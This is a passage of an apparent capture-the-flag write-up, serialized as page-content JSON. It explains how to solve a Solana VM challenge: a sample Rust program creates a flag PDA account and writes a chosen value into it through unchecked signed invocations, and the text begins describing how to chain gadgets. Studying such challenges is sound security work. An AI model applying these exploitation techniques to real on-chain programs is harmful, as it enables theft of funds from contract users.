0x1337\n",{"type":19,"tag":168,"props":40272,"children":40273},{"class":170,"line":450},[40274,40279,40283,40287,40292,40296,40300,40304,40309,40313,40317,40321,40325,40329,40333,40337,40341,40346,40350],{"type":19,"tag":168,"props":40275,"children":40276},{"style":399},[40277],{"type":24,"value":40278}," &&",{"type":19,"tag":168,"props":40280,"children":40281},{"style":825},[40282],{"type":24,"value":3294},{"type":19,"tag":168,"props":40284,"children":40285},{"style":399},[40286],{"type":24,"value":888},{"type":19,"tag":168,"props":40288,"children":40289},{"style":175},[40290],{"type":24,"value":40291},"from_le_bytes",{"type":19,"tag":168,"props":40293,"children":40294},{"style":212},[40295],{"type":24,"value":500},{"type":19,"tag":168,"props":40297,"children":40298},{"style":393},[40299],{"type":24,"value":40162},{"type":19,"tag":168,"props":40301,"children":40302},{"style":399},[40303],{"type":24,"value":948},{"type":19,"tag":168,"props":40305,"children":40306},{"style":212},[40307],{"type":24,"value":40308},"data[",{"type":19,"tag":168,"props":40310,"children":40311},{"style":399},[40312],{"type":24,"value":442},{"type":19,"tag":168,"props":40314,"children":40315},{"style":192},[40316],{"type":24,"value":1506},{"type":19,"tag":168,"props":40318,"children":40319},{"style":212},[40320],{"type":24,"value":12858},{"type":19,"tag":168,"props":40322,"children":40323},{"style":399},[40324],{"type":24,"value":948},{"type":19,"tag":168,"props":40326,"children":40327},{"style":175},[40328],{"type":24,"value":23630},{"type":19,"tag":168,"props":40330,"children":40331},{"style":212},[40332],{"type":24,"value":11325},{"type":19,"tag":168,"props":40334,"children":40335},{"style":399},[40336],{"type":24,"value":948},{"type":19,"tag":168,"props":40338,"children":40339},{"style":175},[40340],{"type":24,"value":1079},{"type":19,"tag":168,"props":40342,"children":40343},{"style":212},[40344],{"type":24,"value":40345},"()) ",{"type":19,"tag":168,"props":40347,"children":40348},{"style":399},[40349],{"type":24,"value":6013},{"type":19,"tag":168,"props":40351,"children":40352},{"style":192},[40353],{"type":24,"value":40354}," 0x4337\n",{"type":19,"tag":168,"props":40356,"children":40357},{"class":170,"line":560},[40358],{"type":19,"tag":168,"props":40359,"children":40360},{"style":212},[40361],{"type":24,"value":26657},{"type":19,"tag":168,"props":40363,"children":40364},{"class":170,"line":666},[40365,40370,40374,40378,40382,40387,40391,40395],{"type":19,"tag":168,"props":40366,"children":40367},{"style":175},[40368],{"type":24,"value":40369}," writeln!",{"type":19,"tag":168,"props":40371,"children":40372},{"style":212},[40373],{"type":24,"value":500},{"type":19,"tag":168,"props":40375,"children":40376},{"style":393},[40377],{"type":24,"value":39415},{"type":19,"tag":168,"props":40379,"children":40380},{"style":212},[40381],{"type":24,"value":471},{"type":19,"tag":168,"props":40383,"children":40384},{"style":181},[40385],{"type":24,"value":40386},"\"congrats!\"",{"type":19,"tag":168,"props":40388,"children":40389},{"style":212},[40390],{"type":24,"value":524},{"type":19,"tag":168,"props":40392,"children":40393},{"style":399},[40394],{"type":24,"value":552},{"type":19,"tag":168,"props":40396,"children":40397},{"style":212},[40398],{"type":24,"value":412},{"type":19,"tag":168,"props":40400,"children":40401},{"class":170,"line":694},[40402,40406,40410,40415,40419,40423,40427,40431,40436,40440,40444,40448,40452],{"type":19,"tag":168,"props":40403,"children":40404},{"style":419},[40405],{"type":24,"value":672},{"type":19,"tag":168,"props":40407,"children":40408},{"style":382},[40409],{"type":24,"value":24773},{"type":19,"tag":168,"props":40411,"children":40412},{"style":825},[40413],{"type":24,"value":40414}," Ok",{"type":19,"tag":168,"props":40416,"children":40417},{"style":212},[40418],{"type":24,"value":500},{"type":19,"tag":168,"props":40420,"children":40421},{"style":393},[40422],{"type":24,"value":40209},{"type":19,"tag":168,"props":40424,"children":40425},{"style":212},[40426],{"type":24,"value":481},{"type":19,"tag":168,"props":40428,"children":40429},{"style":399},[40430],{"type":24,"value":486},{"type":19,"tag":168,"props":40432,"children":40433},{"style":212},[40434],{"type":24,"value":40435}," env",{"type":19,"tag":168,"props":40437,"children":40438},{"style":399},[40439],{"type":24,"value":888},{"type":19,"tag":168,"props":40441,"children":40442},{"style":175},[40443],{"type":24,"value":32521},{"type":19,"tag":168,"props":40445,"children":40446},{"style":212},[40447],{"type":24,"value":500},{"type":19,"tag":168,"props":40449,"children":40450},{"style":181},[40451],{"type":24,"value":40100},{"type":19,"tag":168,"props":40453,"children":40454},{"style":212},[40455],{"type":24,"value":12250},{"type":19,"tag":168,"props":40457,"children":40458},{"class":170,"line":707},[40459,40464,40468,40472,40476,40481,40485,40489,40493,40497],{"type":19,"tag":168,"props":40460,"children":40461},{"style":175},[40462],{"type":24,"value":40463}," writeln!",{"type":19,"tag":168,"props":40465,"children":40466},{"style":212},[40467],{"type":24,"value":500},{"type":19,"tag":168,"props":40469,"children":40470},{"style":393},[40471],{"type":24,"value":39415},{"type":19,"tag":168,"props":40473,"children":40474},{"style":212},[40475],{"type":24,"value":471},{"type":19,"tag":168,"props":40477,"children":40478},{"style":181},[40479],{"type":24,"value":40480},"\"flag: {:?}\"",{"type":19,"tag":168,"props":40482,"children":40483},{"style":212},[40484],{"type":24,"value":471},{"type":19,"tag":168,"props":40486,"children":40487},{"style":393},[40488],{"type":24,"value":40209},{"type":19,"tag":168,"props":40490,"children":40491},{"style":212},[40492],{"type":24,"value":524},{"type":19,"tag":168,"props":40494,"children":40495},{"style":399},[40496],{"type":24,"value":552},{"type":19,"tag":168,"props":40498,"children":40499},{"style":212},[40500],{"type":24,"value":412},{"type":19,"tag":168,"props":40502,"children":40503},{"class":170,"line":725},[40504,40508,40512],{"type":19,"tag":168,"props":40505,"children":40506},{"style":212},[40507],{"type":24,"value":713},{"type":19,"tag":168,"props":40509,"children":40510},{"style":419},[40511],{"type":24,"value":718},{"type":19,"tag":168,"props":40513,"children":40514},{"style":212},[40515],{"type":24,"value":691},{"type":19,"tag":168,"props":40517,"children":40518},{"class":170,"line":746},[40519,40523,40527,40531,40535,40540,40544,40548],{"type":19,"tag":168,"props":40520,"children":40521},{"style":175},[40522],{"type":24,"value":40463},{"type":19,"tag":168,"props":40524,"children":40525},{"style":212},[40526],{"type":24,"value":500},{"type":19,"tag":168,"props":40528,"children":40529},{"style":393},[40530],{"type":24,"value":39415},{"type":19,"tag":168,"props":40532,"children":40533},{"style":212},[40534],{"type":24,"value":471},{"type":19,"tag":168,"props":40536,"children":40537},{"style":181},[40538],{"type":24,"value":40539},"\"flag not found, please contact admin\"",{"type":19,"tag":168,"props":40541,"children":40542},{"style":212},[40543],{"type":24,"value":524},{"type":19,"tag":168,"props":40545,"children":40546},{"style":399},[40547],{"type":24,"value":552},{"type":19,"tag":168,"props":40549,"children":40550},{"style":212},[40551],{"type":24,"value":412},{"type":19,"tag":168,"props":40553,"children":40554},{"class":170,"line":755},[40555],{"type":19,"tag":168,"props":40556,"children":40557},{"style":212},[40558],{"type":24,"value":752},{"type":19,"tag":168,"props":40560,"children":40561},{"class":170,"line":1008},[40562],{"type":19,"tag":168,"props":40563,"children":40564},{"style":212},[40565],{"type":24,"value":761},{"type":19,"tag":168,"props":40567,"children":40568},{"class":170,"line":1025},[40569],{"type":19,"tag":168,"props":40570,"children":40571},{"style":212},[40572],{"type":24,"value":1326},{"type":19,"tag":36,"props":40574,"children":40576},{"id":40575},"solution-idea",[40577],{"type":24,"value":40578},"Solution Idea",{"type":19,"tag":20,"props":40580,"children":40581},{},[40582,40584,40589],{"type":24,"value":40583},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":19,"tag":27,"props":40585,"children":40587},{"className":40586},[],[40588],{"type":24,"value":33156},{"type":24,"value":40590}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":19,"tag":20,"props":40592,"children":40593},{},[40594,40596,40602],{"type":24,"value":40595},"In order to get the flag, we need to make sure that the account at ",{"type":19,"tag":27,"props":40597,"children":40599},{"className":40598},[],[40600],{"type":24,"value":40601},"PDA(\"FLAG\")",{"type":24,"value":40603}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":19,"tag":20,"props":40605,"children":40606},{},[40607,40609,40616],{"type":24,"value":40608},"Essentially, we need to ",{"type":19,"tag":269,"props":40610,"children":40613},{"href":40611,"rel":40612},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[273],[40614],{"type":24,"value":40615},"invoke the System Program",{"type":24,"value":40617},", and write controlled data into the newly created account.",{"type":19,"tag":20,"props":40619,"children":40620},{},[40621],{"type":24,"value":40622},"A sample program that does this is as follows:",{"type":19,"tag":158,"props":40624,"children":40626},{"className":363,"code":40625,"language":362,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[40627],{"type":19,"tag":27,"props":40628,"children":40629},{"__ignoreMap":7},[40630,40650,40674,40702,40730,40750,40786,40822,40829,40837,40870,40887,40912,40933,40985,41010,41017,41030,41076,41120,41128,41136,41147,41163,41174,41194,41214,41221,41257,41272,41279,41287,41366,41373,41384],{"type":19,"tag":168,"props":40631,"children":40632},{"class":170,"line":171},[40633,40637,40641,40646],{"type":19,"tag":168,"props":40634,"children":40635},{"style":382},[40636],{"type":24,"value":11136},{"type":19,"tag":168,"props":40638,"children":40639},{"style":382},[40640],{"type":24,"value":11141},{"type":19,"tag":168,"props":40642,"children":40643},{"style":175},[40644],{"type":24,"value":40645}," process_instruction",{"type":19,"tag":168,"props":40647,"children":40648},{"style":212},[40649],{"type":24,"value":870},{"type":19,"tag":168,"props":40651,"children":40652},{"class":170,"line":198},[40653,40658,40662,40666,40670],{"type":19,"tag":168,"props":40654,"children":40655},{"style":393},[40656],{"type":24,"value":40657}," program_id",{"type":19,"tag":168,"props":40659,"children":40660},{"style":399},[40661],{"type":24,"value":1922},{"type":19,"tag":168,"props":40663,"children":40664},{"style":399},[40665],{"type":24,"value":4577},{"type":19,"tag":168,"props":40667,"children":40668},{"style":825},[40669],{"type":24,"value":18853},{"type":19,"tag":168,"props":40671,"children":40672},{"style":212},[40673],{"type":24,"value":915},{"type":19,"tag":168,"props":40675,"children":40676},{"class":170,"line":415},[40677,40682,40686,40690,40694,40698],{"type":19,"tag":168,"props":40678,"children":40679},{"style":393},[40680],{"type":24,"value":40681}," accounts",{"type":19,"tag":168,"props":40683,"children":40684},{"style":399},[40685],{"type":24,"value":1922},{"type":19,"tag":168,"props":40687,"children":40688},{"style":399},[40689],{"type":24,"value":4577},{"type":19,"tag":168,"props":40691,"children":40692},{"style":212},[40693],{"type":24,"value":1152},{"type":19,"tag":168,"props":40695,"children":40696},{"style":825},[40697],{"type":24,"value":12385},{"type":19,"tag":168,"props":40699,"children":40700},{"style":212},[40701],{"type":24,"value":11709},{"type":19,"tag":168,"props":40703,"children":40704},{"class":170,"line":450},[40705,40710,40714,40718,40722,40726],{"type":19,"tag":168,"props":40706,"children":40707},{"style":393},[40708],{"type":24,"value":40709}," data",{"type":19,"tag":168,"props":40711,"children":40712},{"style":399},[40713],{"type":24,"value":1922},{"type":19,"tag":168,"props":40715,"children":40716},{"style":399},[40717],{"type":24,"value":4577},{"type":19,"tag":168,"props":40719,"children":40720},{"style":212},[40721],{"type":24,"value":1152},{"type":19,"tag":168,"props":40723,"children":40724},{"style":825},[40725],{"type":24,"value":828},{"type":19,"tag":168,"props":40727,"children":40728},{"style":212},[40729],{"type":24,"value":9217},{"type":19,"tag":168,"props":40731,"children":40732},{"class":170,"line":560},[40733,40737,40741,40746],{"type":19,"tag":168,"props":40734,"children":40735},{"style":212},[40736],{"type":24,"value":481},{"type":19,"tag":168,"props":40738,"children":40739},{"style":399},[40740],{"type":24,"value":11203},{"type":19,"tag":168,"props":40742,"children":40743},{"style":825},[40744],{"type":24,"value":40745}," ProgramResult",{"type":19,"tag":168,"props":40747,"children":40748},{"style":212},[40749],{"type":24,"value":691},{"type":19,"tag":168,"props":40751,"children":40752},{"class":170,"line":666},[40753,40757,40762,40766,40770,40774,40778,40782],{"type":19,"tag":168,"props":40754,"children":40755},{"style":382},[40756],{"type":24,"value":385},{"type":19,"tag":168,"props":40758,"children":40759},{"style":393},[40760],{"type":24,"value":40761}," flag_pda_ai",{"type":19,"tag":168,"props":40763,"children":40764},{"style":399},[40765],{"type":24,"value":402},{"type":19,"tag":168,"props":40767,"children":40768},{"style":399},[40769],{"type":24,"value":4577},{"type":19,"tag":168,"props":40771,"children":40772},{"style":393},[40773],{"type":24,"value":12121},{"type":19,"tag":168,"props":40775,"children":40776},{"style":212},[40777],{"type":24,"value":1152},{"type":19,"tag":168,"props":40779,"children":40780},{"style":192},[40781],{"type":24,"value":1452},{"type":19,"tag":168,"props":40783,"children":40784},{"style":212},[40785],{"type":24,"value":29046},{"type":19,"tag":168,"props":40787,"children":40788},{"class":170,"line":694},[40789,40793,40798,40802,40806,40810,40814,40818],{"type":19,"tag":168,"props":40790,"children":40791},{"style":382},[40792],{"type":24,"value":385},{"type":19,"tag":168,"props":40794,"children":40795},{"style":393},[40796],{"type":24,"value":40797}," user_ai",{"type":19,"tag":168,"props":40799,"children":40800},{"style":399},[40801],{"type":24,"value":402},{"type":19,"tag":168,"props":40803,"children":40804},{"style":399},[40805],{"type":24,"value":4577},{"type":19,"tag":168,"props":40807,"children":40808},{"style":393},[40809],{"type":24,"value":12121},{"type":19,"tag":168,"props":40811,"children":40812},{"style":212},[40813],{"type":24,"value":1152},{"type":19,"tag":168,"props":40815,"children":40816},{"style":192},[40817],{"type":24,"value":1442},{"type":19,"tag":168,"props":40819,"children":40820},{"style":212},[40821],{"type":24,"value":29046},{"type":19,"tag":168,"props":40823,"children":40824},{"class":170,"line":707},[40825],{"type":19,"tag":168,"props":40826,"children":40827},{"emptyLinePlaceholder":14},[40828],{"type":24,"value":1093},{"type":19,"tag":168,"props":40830,"children":40831},{"class":170,"line":725},[40832],{"type":19,"tag":168,"props":40833,"children":40834},{"style":373},[40835],{"type":24,"value":40836}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":19,"tag":168,"props":40838,"children":40839},{"class":170,"line":746},[40840,40844,40849,40853,40857,40861,40866],{"type":19,"tag":168,"props":40841,"children":40842},{"style":382},[40843],{"type":24,"value":385},{"type":19,"tag":168,"props":40845,"children":40846},{"style":393},[40847],{"type":24,"value":40848}," instruction",{"type":19,"tag":168,"props":40850,"children":40851},{"style":399},[40852],{"type":24,"value":402},{"type":19,"tag":168,"props":40854,"children":40855},{"style":825},[40856],{"type":24,"value":38488},{"type":19,"tag":168,"props":40858,"children":40859},{"style":399},[40860],{"type":24,"value":888},{"type":19,"tag":168,"props":40862,"children":40863},{"style":175},[40864],{"type":24,"value":40865},"new_with_bincode",{"type":19,"tag":168,"props":40867,"children":40868},{"style":212},[40869],{"type":24,"value":870},{"type":19,"tag":168,"props":40871,"children":40872},{"class":170,"line":755},[40873,40878,40882],{"type":19,"tag":168,"props":40874,"children":40875},{"style":212},[40876],{"type":24,"value":40877}," system_program",{"type":19,"tag":168,"props":40879,"children":40880},{"style":399},[40881],{"type":24,"value":888},{"type":19,"tag":168,"props":40883,"children":40884},{"style":212},[40885],{"type":24,"value":40886},"ID,\n",{"type":19,"tag":168,"props":40888,"children":40889},{"class":170,"line":1008},[40890,40894,40899,40903,40908],{"type":19,"tag":168,"props":40891,"children":40892},{"style":399},[40893],{"type":24,"value":878},{"type":19,"tag":168,"props":40895,"children":40896},{"style":212},[40897],{"type":24,"value":40898},"SystemInstruction",{"type":19,"tag":168,"props":40900,"children":40901},{"style":399},[40902],{"type":24,"value":888},{"type":19,"tag":168,"props":40904,"children":40905},{"style":825},[40906],{"type":24,"value":40907},"CreateAccount",{"type":19,"tag":168,"props":40909,"children":40910},{"style":212},[40911],{"type":24,"value":691},{"type":19,"tag":168,"props":40913,"children":40914},{"class":170,"line":1025},[40915,40920,40924,40929],{"type":19,"tag":168,"props":40916,"children":40917},{"style":393},[40918],{"type":24,"value":40919}," space",{"type":19,"tag":168,"props":40921,"children":40922},{"style":399},[40923],{"type":24,"value":1922},{"type":19,"tag":168,"props":40925,"children":40926},{"style":192},[40927],{"type":24,"value":40928}," 0x1337",{"type":19,"tag":168,"props":40930,"children":40931},{"style":212},[40932],{"type":24,"value":915},{"type":19,"tag":168,"props":40934,"children":40935},{"class":170,"line":1042},[40936,40941,40945,40950,40954,40959,40963,40967,40972,40976,40981],{"type":19,"tag":168,"props":40937,"children":40938},{"style":393},[40939],{"type":24,"value":40940}," lamports",{"type":19,"tag":168,"props":40942,"children":40943},{"style":399},[40944],{"type":24,"value":1922},{"type":19,"tag":168,"props":40946,"children":40947},{"style":212},[40948],{"type":24,"value":40949}," Rent",{"type":19,"tag":168,"props":40951,"children":40952},{"style":399},[40953],{"type":24,"value":888},{"type":19,"tag":168,"props":40955,"children":40956},{"style":175},[40957],{"type":24,"value":40958},"default",{"type":19,"tag":168,"props":40960,"children":40961},{"style":212},[40962],{"type":24,"value":11325},{"type":19,"tag":168,"props":40964,"children":40965},{"style":399},[40966],{"type":24,"value":948},{"type":19,"tag":168,"props":40968,"children":40969},{"style":175},[40970],{"type":24,"value":40971},"minimum_balance",{"type":19,"tag":168,"props":40973,"children":40974},{"style":212},[40975],{"type":24,"value":500},{"type":19,"tag":168,"props":40977,"children":40978},{"style":192},[40979],{"type":24,"value":40980},"0x1337",{"type":19,"tag":168,"props":40982,"children":40983},{"style":212},[40984],{"type":24,"value":4172},{"type":19,"tag":168,"props":40986,"children":40987},{"class":170,"line":1055},[40988,40993,40997,41001,41005],{"type":19,"tag":168,"props":40989,"children":40990},{"style":393},[40991],{"type":24,"value":40992}," owner",{"type":19,"tag":168,"props":40994,"children":40995},{"style":399},[40996],{"type":24,"value":1922},{"type":19,"tag":168,"props":40998,"children":40999},{"style":212},[41000],{"type":24,"value":39520},{"type":19,"tag":168,"props":41002,"children":41003},{"style":399},[41004],{"type":24,"value":888},{"type":19,"tag":168,"props":41006,"children":41007},{"style":212},[41008],{"type":24,"value":41009},"ID\n",{"type":19,"tag":168,"props":41011,"children":41012},{"class":170,"line":1064},[41013],{"type":19,"tag":168,"props":41014,"children":41015},{"style":212},[41016],{"type":24,"value":22841},{"type":19,"tag":168,"props":41018,"children":41019},{"class":170,"line":1087},[41020,41025],{"type":19,"tag":168,"props":41021,"children":41022},{"style":175},[41023],{"type":24,"value":41024}," vec!",{"type":19,"tag":168,"props":41026,"children":41027},{"style":212},[41028],{"type":24,"value":41029},"[\n",{"type":19,"tag":168,"props":41031,"children":41032},{"class":170,"line":1096},[41033,41038,41042,41046,41050,41054,41059,41063,41068,41072],{"type":19,"tag":168,"props":41034,"children":41035},{"style":212},[41036],{"type":24,"value":41037}," AccountMeta",{"type":19,"tag":168,"props":41039,"children":41040},{"style":399},[41041],{"type":24,"value":888},{"type":19,"tag":168,"props":41043,"children":41044},{"style":175},[41045],{"type":24,"value":12569},{"type":19,"tag":168,"props":41047,"children":41048},{"style":212},[41049],{"type":24,"value":500},{"type":19,"tag":168,"props":41051,"children":41052},{"style":399},[41053],{"type":24,"value":2002},{"type":19,"tag":168,"props":41055,"children":41056},{"style":393},[41057],{"type":24,"value":41058},"user_ai",{"type":19,"tag":168,"props":41060,"children":41061},{"style":399},[41062],{"type":24,"value":948},{"type":19,"tag":168,"props":41064,"children":41065},{"style":212},[41066],{"type":24,"value":41067},"key, ",{"type":19,"tag":168,"props":41069,"children":41070},{"style":382},[41071],{"type":24,"value":1423},{"type":19,"tag":168,"props":41073,"children":41074},{"style":212},[41075],{"type":24,"value":4172},{"type":19,"tag":168,"props":41077,"children":41078},{"class":170,"line":1105},[41079,41083,41087,41091,41095,41099,41104,41108,41112,41116],{"type":19,"tag":168,"props":41080,"children":41081},{"style":212},[41082],{"type":24,"value":41037},{"type":19,"tag":168,"props":41084,"children":41085},{"style":399},[41086],{"type":24,"value":888},{"type":19,"tag":168,"props":41088,"children":41089},{"style":175},[41090],{"type":24,"value":12569},{"type":19,"tag":168,"props":41092,"children":41093},{"style":212},[41094],{"type":24,"value":500},{"type":19,"tag":168,"props":41096,"children":41097},{"style":399},[41098],{"type":24,"value":2002},{"type":19,"tag":168,"props":41100,"children":41101},{"style":393},[41102],{"type":24,"value":41103},"flag_pda_ai",{"type":19,"tag":168,"props":41105,"children":41106},{"style":399},[41107],{"type":24,"value":948},{"type":19,"tag":168,"props":41109,"children":41110},{"style":212},[41111],{"type":24,"value":41067},{"type":19,"tag":168,"props":41113,"children":41114},{"style":382},[41115],{"type":24,"value":1423},{"type":19,"tag":168,"props":41117,"children":41118},{"style":212},[41119],{"type":24,"value":4172},{"type":19,"tag":168,"props":41121,"children":41122},{"class":170,"line":1174},[41123],{"type":19,"tag":168,"props":41124,"children":41125},{"style":212},[41126],{"type":24,"value":41127}," ],\n",{"type":19,"tag":168,"props":41129,"children":41130},{"class":170,"line":1182},[41131],{"type":19,"tag":168,"props":41132,"children":41133},{"style":212},[41134],{"type":24,"value":41135}," );\n",{"type":19,"tag":168,"props":41137,"children":41138},{"class":170,"line":1212},[41139,41143],{"type":19,"tag":168,"props":41140,"children":41141},{"style":175},[41142],{"type":24,"value":38605},{"type":19,"tag":168,"props":41144,"children":41145},{"style":212},[41146],{"type":24,"value":870},{"type":19,"tag":168,"props":41148,"children":41149},{"class":170,"line":1220},[41150,41154,41159],{"type":19,"tag":168,"props":41151,"children":41152},{"style":399},[41153],{"type":24,"value":878},{"type":19,"tag":168,"props":41155,"children":41156},{"style":393},[41157],{"type":24,"value":41158},"instruction",{"type":19,"tag":168,"props":41160,"children":41161},{"style":212},[41162],{"type":24,"value":915},{"type":19,"tag":168,"props":41164,"children":41165},{"class":170,"line":1252},[41166,41170],{"type":19,"tag":168,"props":41167,"children":41168},{"style":399},[41169],{"type":24,"value":878},{"type":19,"tag":168,"props":41171,"children":41172},{"style":212},[41173],{"type":24,"value":41029},{"type":19,"tag":168,"props":41175,"children":41176},{"class":170,"line":1260},[41177,41182,41186,41190],{"type":19,"tag":168,"props":41178,"children":41179},{"style":393},[41180],{"type":24,"value":41181}," user_ai",{"type":19,"tag":168,"props":41183,"children":41184},{"style":399},[41185],{"type":24,"value":948},{"type":19,"tag":168,"props":41187,"children":41188},{"style":175},[41189],{"type":24,"value":12867},{"type":19,"tag":168,"props":41191,"children":41192},{"style":212},[41193],{"type":24,"value":898},{"type":19,"tag":168,"props":41195,"children":41196},{"class":170,"line":1320},[41197,41202,41206,41210],{"type":19,"tag":168,"props":41198,"children":41199},{"style":393},[41200],{"type":24,"value":41201}," flag_pda_ai",{"type":19,"tag":168,"props":41203,"children":41204},{"style":399},[41205],{"type":24,"value":948},{"type":19,"tag":168,"props":41207,"children":41208},{"style":175},[41209],{"type":24,"value":12867},{"type":19,"tag":168,"props":41211,"children":41212},{"style":212},[41213],{"type":24,"value":898},{"type":19,"tag":168,"props":41215,"children":41216},{"class":170,"line":6486},[41217],{"type":19,"tag":168,"props":41218,"children":41219},{"style":212},[41220],{"type":24,"value":41127},{"type":19,"tag":168,"props":41222,"children":41223},{"class":170,"line":6504},[41224,41228,41232,41236,41240,41244,41248,41252],{"type":19,"tag":168,"props":41225,"children":41226},{"style":399},[41227],{"type":24,"value":878},{"type":19,"tag":168,"props":41229,"children":41230},{"style":212},[41231],{"type":24,"value":1152},{"type":19,"tag":168,"props":41233,"children":41234},{"style":399},[41235],{"type":24,"value":505},{"type":19,"tag":168,"props":41237,"children":41238},{"style":212},[41239],{"type":24,"value":1152},{"type":19,"tag":168,"props":41241,"children":41242},{"style":181},[41243],{"type":24,"value":40100},{"type":19,"tag":168,"props":41245,"children":41246},{"style":399},[41247],{"type":24,"value":948},{"type":19,"tag":168,"props":41249,"children":41250},{"style":175},[41251],{"type":24,"value":40109},{"type":19,"tag":168,"props":41253,"children":41254},{"style":212},[41255],{"type":24,"value":41256},"()]],\n",{"type":19,"tag":168,"props":41258,"children":41259},{"class":170,"line":6549},[41260,41264,41268],{"type":19,"tag":168,"props":41261,"children":41262},{"style":212},[41263],{"type":24,"value":1070},{"type":19,"tag":168,"props":41265,"children":41266},{"style":399},[41267],{"type":24,"value":552},{"type":19,"tag":168,"props":41269,"children":41270},{"style":212},[41271],{"type":24,"value":412},{"type":19,"tag":168,"props":41273,"children":41274},{"class":170,"line":6655},[41275],{"type":19,"tag":168,"props":41276,"children":41277},{"emptyLinePlaceholder":14},[41278],{"type":24,"value":1093},{"type":19,"tag":168,"props":41280,"children":41281},{"class":170,"line":20965},[41282],{"type":19,"tag":168,"props":41283,"children":41284},{"style":373},[41285],{"type":24,"value":41286}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":19,"tag":168,"props":41288,"children":41289},{"class":170,"line":21000},[41290,41295,41299,41303,41307,41311,41315,41319,41323,41327,41331,41336,41340,41344,41349,41353,41357,41362],{"type":19,"tag":168,"props":41291,"children":41292},{"style":393},[41293],{"type":24,"value":41294}," flag_pda_ai",{"type":19,"tag":168,"props":41296,"children":41297},{"style":399},[41298],{"type":24,"value":948},{"type":19,"tag":168,"props":41300,"children":41301},{"style":175},[41302],{"type":24,"value":11320},{"type":19,"tag":168,"props":41304,"children":41305},{"style":212},[41306],{"type":24,"value":11325},{"type":19,"tag":168,"props":41308,"children":41309},{"style":399},[41310],{"type":24,"value":552},{"type":19,"tag":168,"props":41312,"children":41313},{"style":212},[41314],{"type":24,"value":1152},{"type":19,"tag":168,"props":41316,"children":41317},{"style":399},[41318],{"type":24,"value":442},{"type":19,"tag":168,"props":41320,"children":41321},{"style":192},[41322],{"type":24,"value":1506},{"type":19,"tag":168,"props":41324,"children":41325},{"style":212},[41326],{"type":24,"value":12858},{"type":19,"tag":168,"props":41328,"children":41329},{"style":399},[41330],{"type":24,"value":948},{"type":19,"tag":168,"props":41332,"children":41333},{"style":175},[41334],{"type":24,"value":41335},"copy_from_slice",{"type":19,"tag":168,"props":41337,"children":41338},{"style":212},[41339],{"type":24,"value":500},{"type":19,"tag":168,"props":41341,"children":41342},{"style":399},[41343],{"type":24,"value":505},{"type":19,"tag":168,"props":41345,"children":41346},{"style":192},[41347],{"type":24,"value":41348},"0x4337",{"type":19,"tag":168,"props":41350,"children":41351},{"style":825},[41352],{"type":24,"value":5479},{"type":19,"tag":168,"props":41354,"children":41355},{"style":399},[41356],{"type":24,"value":948},{"type":19,"tag":168,"props":41358,"children":41359},{"style":175},[41360],{"type":24,"value":41361},"to_le_bytes",{"type":19,"tag":168,"props":41363,"children":41364},{"style":212},[41365],{"type":24,"value":12872},{"type":19,"tag":168,"props":41367,"children":41368},{"class":170,"line":21008},[41369],{"type":19,"tag":168,"props":41370,"children":41371},{"emptyLinePlaceholder":14},[41372],{"type":24,"value":1093},{"type":19,"tag":168,"props":41374,"children":41375},{"class":170,"line":21016},[41376,41380],{"type":19,"tag":168,"props":41377,"children":41378},{"style":825},[41379],{"type":24,"value":11779},{"type":19,"tag":168,"props":41381,"children":41382},{"style":212},[41383],{"type":24,"value":11784},{"type":19,"tag":168,"props":41385,"children":41386},{"class":170,"line":21025},[41387],{"type":19,"tag":168,"props":41388,"children":41389},{"style":212},[41390],{"type":24,"value":1326},{"type":19,"tag":20,"props":41392,"children":41393},{},[41394],{"type":24,"value":41395},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":19,"tag":20,"props":41397,"children":41398},{},[41399],{"type":19,"tag":1344,"props":41400,"children":41403},{"alt":41401,"src":41402},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":19,"tag":20,"props":41405,"children":41406},{},[41407],{"type":24,"value":41408},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":19,"tag":36,"props":41410,"children":41412},{"id":41411},"solution-implementation",[41413],{"type":24,"value":41414},"Solution Implementation",{"type":19,"tag":20,"props":41416,"children":41417},{},[41418,41420,41425],{"type":24,"value":41419},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":19,"tag":27,"props":41421,"children":41423},{"className":41422},[],[41424],{"type":24,"value":33156},{"type":24,"value":41426}," invocations:",{"type":19,"tag":158,"props":41428,"children":41432},{"className":41429,"code":41430,"language":41431,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[41433],{"type":19,"tag":27,"props":41434,"children":41435},{"__ignoreMap":7},[41436,41444,41452,41460,41468,41476,41484],{"type":19,"tag":168,"props":41437,"children":41438},{"class":170,"line":171},[41439],{"type":19,"tag":168,"props":41440,"children":41441},{},[41442],{"type":24,"value":41443},"graph 